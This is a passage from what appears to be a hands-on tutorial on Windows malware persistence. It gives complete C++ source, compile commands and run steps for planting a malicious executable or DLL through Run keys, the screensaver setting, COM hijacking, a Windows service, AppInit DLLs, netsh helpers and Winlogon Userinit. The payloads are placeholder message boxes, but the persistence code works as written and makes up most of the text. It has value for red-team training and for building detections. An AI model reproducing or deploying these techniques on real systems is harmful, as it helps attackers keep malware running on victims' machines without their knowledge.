-static-libstdc++ -static-libgcc -fpermissive
  • Move it to Windows and copy the location path of the exe.

Persistance code

//pers.cpp
#include <windows.h>
#include <string.h>
 
int main(int argc, char* argv[]) {
	HKEY hkey = NULL;
	// malicious app
	const char* exe = "C:\\Users\\Dumbledore\\Desktop\\hack.exe";
	
	// startup
	LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
	if (res == ERROR_SUCCESS) {
		// create new registry key
		RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
		RegCloseKey(hkey);
	}
	
	return 0;
}
 

Compile

x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

  • Before running the pers.exe test reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
  • After running exe again

Screensaver hijack

We can also perform same with this two command in powershell:

New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \
-Name 'ScreenSaveTimeOut' -Value '10'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \
-Name 'SCRNSAVE.EXE' -Value \
'Z:\2022-04-26-malware-pers-2\hack.exe'

But we will write a code for it.

Step 1 : Write and compile and hack.exe and copy the location of it like we have done above in Registry run keys.

Step 2 : Write Code

Code

#include <windows.h>
#include <string.h>
int reg_key_compare(HKEY hKeyRoot, char* lpSubKey, char* regVal, char* compare) {
	HKEY hKey = nullptr;
	LONG ret;
	char value[1024];
	DWORD size = sizeof(value);
	ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
	if (ret == ERROR_SUCCESS) {
		RegQueryValueExA(hKey, regVal, NULL, NULL, (LPBYTE)value, &size);
		if (ret == ERROR_SUCCESS) {
			if (strcmp(value, compare) == 0) {
				return TRUE;
			}
		}
	}
	return FALSE;
}
 
int main(int argc, char* argv[]) {
	HKEY hkey = NULL;
	// malicious app
	const char* exe = "C:\\Users\\Dumbledore\\Desktop\\hack.exe";
	// timeout
	const char* ts = "10";
	// activation
	const char* aact = "1";
	// startup
	LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"Control Panel\\Desktop", 0 , KEY_WRITE, &hkey);
	if (res == ERROR_SUCCESS) {
		// create new registry keys
		RegSetValueEx(hkey, (LPCSTR)"ScreenSaveActive", 0, REG_SZ, (unsigned char*)aact, strlen(aact));
		RegSetValueEx(hkey, (LPCSTR)"ScreenSaveTimeOut", 0, REG_SZ, (unsigned char*)ts, strlen(ts));
		RegSetValueEx(hkey, (LPCSTR)"SCRNSAVE.EXE", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
		RegCloseKey(hkey);
	}
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \

Run

  • First check the ScreenSaveActive key with command reg query "HKCU\Control Panel\Desktop" /s.
  • Run pers.exe
  • Logout and Login again and wait for 10s as soon as the screen saver will trigger we will see a meow pop-up from hack.exe .
  • If we check Screen saver again we will see two more entries - ScreenSaverTimeOut & SCRENSAVE.EXE with out hack.exe path.

Reverse

You can reverse this execution with this commands:

Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name 'ScreenSaveTimeOut'
 
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name 'SCRNSAVE.EXE'
 
reg query "HKCU\Control Panel\Desktop" /s

Com DLL hijack

What is COM?
The Microsoft Component Object Model (COM) is a technology that enables communication and interaction between different software components or objects, even if they are developed in different languages or on different machines. It is a binary standard that allows reusable software components to interact with each other at runtime, without requiring the need to compile them into a single application.

Step 1 : Discover COM keys for hijacking

  • Use Process Monitor to discover COM keys.
  • We can use this filter.
  • You will see many regkey path.
  • We will try to infect edge browser’s regkey.
  • Copy path of any key.
    Step 2 : Verify Key.
  • Open powershell.
  • Check for registry key with command:reg query "HKCU\Software\Classes\CLSID\{17072F7B-9ABE-4A74-A261-1EB76B55107A}\InprocServer32" /s
  • If key is not found in HKCU\Software\Classes\CLSID\ the system try to find it in HKCR\CLSID\.
  • Check registry key in HKCR\CLSID\.

Step 3 : Edit Key.

  • Export this key to Desktop.
reg export "HKCR\CLSID\{17072F7B-9ABE-4A74-A261-1EB76B55107A}\InprocServer32" C:\Users\Dumbledore\Desktop\orig.reg /reg:64 /y

  • Open orig.reg in Notepad
  • Replace it with this and save as evil.reg.

    Get evil.dll from this post on Desktop.

Step 4 : Replace original reg with this evil.reg

  • Use this commands.
reg import C:\Users\Dumbledore\Desktop\evil.reg /reg:64
 
 reg query "HKCU\Software\Classes\CLSID\{17072F7B-9ABE-4A74-A261-1EB76B55107A}\InprocServer32" /s

Done!

Run

Restart edge and wait some time.

Code

We can do this with code also, just replace malicious dll path and COM Register Key path.

#include <windows.h>
#include <string.h>
#include <cstdio>
int main(int argc, char* argv[]) {
	HKEY hkey = NULL;
	// subkey
	const char* sk = "Software\Classes\CLSID\{17072F7B-9ABE-4A74-A261-1EB76B55107A}\InprocServer32";
	
	// malicious DLL
	const char* dll =
	"C:\\Users\\Dumbledore\\Desktop\\evil.dll";
	
	// startup
	LONG res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
	
	if (res == ERROR_SUCCESS) {
		// create new registry keys
		RegSetValueEx(hkey, NULL, 0, REG_SZ, (unsigned char*)dll, strlen(dll));
		RegCloseKey(hkey);
	} else {
		printf("cannot create subkey for hijacking :(\n");
		return -1;
	}
	return 0;
}

Windows Service

Step 1: Create a Malicious exe.

Here we will use hack.exe we created in Registry run keys.

Step 2 : Write Exploit.

//hacksrv.cpp
#include <windows.h>
#include <stdio.h>
 
#define SLEEP_TIME 5000
 
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hStatus;
 
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
 
int Runhack() {
  void * lb;
  BOOL rv;
  HANDLE th;
 
  char cmd[] = "C:\\Users\\Dumbledore\\Desktop\\hack.exe";
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));
  CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);
  return 0;
}
 
int main() {
  SERVICE_TABLE_ENTRY ServiceTable[] = {
    {"HackService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
    {NULL, NULL}
  };
 
  StartServiceCtrlDispatcher(ServiceTable);
  return 0;
}
 
void ServiceMain(int argc, char** argv) {
  serviceStatus.dwServiceType        = SERVICE_WIN32;
  serviceStatus.dwCurrentState       = SERVICE_START_PENDING;
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
  serviceStatus.dwWin32ExitCode      = 0;
  serviceStatus.dwServiceSpecificExitCode = 0;
  serviceStatus.dwCheckPoint         = 0;
  serviceStatus.dwWaitHint           = 0;
 
  hStatus = RegisterServiceCtrlHandler("HackService", (LPHANDLER_FUNCTION)ControlHandler);
  Runhack();
 
  serviceStatus.dwCurrentState = SERVICE_RUNNING;
  SetServiceStatus (hStatus, &serviceStatus);
 
  while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {
    Sleep(SLEEP_TIME);
  }
  return;
}
 
void ControlHandler(DWORD request) {
  switch(request) {
    case SERVICE_CONTROL_STOP:
      serviceStatus.dwWin32ExitCode = 0;
      serviceStatus.dwCurrentState  = SERVICE_STOPPED;
      SetServiceStatus (hStatus, &serviceStatus);
      return;
 
    case SERVICE_CONTROL_SHUTDOWN:
      serviceStatus.dwWin32ExitCode = 0;
      serviceStatus.dwCurrentState  = SERVICE_STOPPED;
      SetServiceStatus (hStatus, &serviceStatus);
      return;
 
    default:
      break;
  }
  SetServiceStatus(hStatus,  &serviceStatus);
  return;
}

Compile

x86_64-w64-mingw32-g++ -O2 meowsrv.cpp -o meowsrv.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

  • Create Service
sc create HackService binpath= "C:\Users\Dumbledore\Desktop\hacksrv.exe" start= auto

  • Check
sc query HackService

  • Start Service
sc start HackService

AppInit DLLs

DLL Code

#include <windows.h>
#pragma comment (lib, "user32.lib")
char* subStr(char *str, char *substr) {
	while (*str) {
		char *Begin = str;
		char *pattern = substr;
		while (*str && *pattern && *str == *pattern) {
			str++;
			pattern++;
		}
		if (!*pattern)
			return Begin;
			str = Begin + 1;
	}
	return NULL;
}
 
extern "C" {
	__declspec(dllexport) BOOL WINAPI runMe(void) {
		MessageBoxA(NULL, "Meow-meow!", "=^..^=", MB_OK);
		return TRUE;
	}
}
 
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
	char path[MAX_PATH];
	switch (nReason) {
		case DLL_PROCESS_ATTACH:
			GetModuleFileName(NULL, path, MAX_PATH);
			if (subStr(path, (char *)"paint")) {
				runMe();
			}
			break;
		case DLL_PROCESS_DETACH:
			break;
		case DLL_THREAD_ATTACH:
			break;
		case DLL_THREAD_DETACH:
			break;
	}
	return TRUE;
}

Compile

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive

C Code

#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
	HKEY hkey = NULL;
	// malicious DLL
	const char* dll = "C:\\Users\\Dumbledore\\Desktop\\evil.dll";
	// activation
	DWORD act = 1;
	// 32-bit and 64-bit
	LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0 , KEY_WRITE, &hkey);
	if (res == ERROR_SUCCESS) {
		// create new registry keys
		RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE*)&act, sizeof(act));
		RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs", 0, REG_SZ, (unsigned char*)dll, strlen(dll));
		RegCloseKey(hkey);
	}
	res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0 , KEY_WRITE, &hkey);
	if (res == ERROR_SUCCESS) {
		// create new registry keys
		RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE*)&act, sizeof(act));
		RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs", 0, REG_SZ, (unsigned char*)dll, strlen(dll));
		RegCloseKey(hkey);
	}
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

  • Run and Open Paint.

netsh helper DLL

Netsh is a Windows utility that administrators can use to modify the host-based Windows firewall and perform network configuration tasks. Through the use of DLL files, Netsh functionality can be expanded.

DLL Code

//evil.cpp
#include <windows.h>
#pragma comment (lib, "user32.lib")
DWORD WINAPI Meow(LPVOID lpParameter) {
	MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
	return 1;
}
extern "C" __declspec(dllexport)
DWORD InitHelperDll( DWORD dwNetshVersion, PVOID pReserved) {
	HANDLE hl = CreateThread(NULL, 0, Meow, NULL, 0, NULL);
	CloseHandle(hl);
	return 0;
}

Compile

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive

Run

netsh add helper C:\Users\Dumbledore\Desktop\evil.dll
  • Check
reg query "HKLM\Software\Microsoft\NetSh" /s

Winlogon

The Winlogon process is responsible for user logon and logoff, startup and shutdown and locking the screen. Authors of malware could alter the registry entries that the Winlogon process uses to achieve persistence.
The following registry keys must be modified in order to implement this persistence technique:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

However, local administrator privileges are required to implement this technique.

Code

//pers.cpp
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
	HKEY hkey = NULL;
	// userinit
	const char* ui = "C:\\Windows\\System32\\userinit.exe, C:\\Users\\Dumbledore\\desktop\\hack.exe";
 
	// startup
	LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0 , KEY_WRITE, &hkey);
	if (res == ERROR_SUCCESS) {
		RegSetValueEx(hkey, (LPCSTR)"Userinit", 0, REG_SZ, (unsigned char*)ui, strlen(ui));
		RegCloseKey(hkey);
	}
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

  • Sign out and sign in again.

Port monitors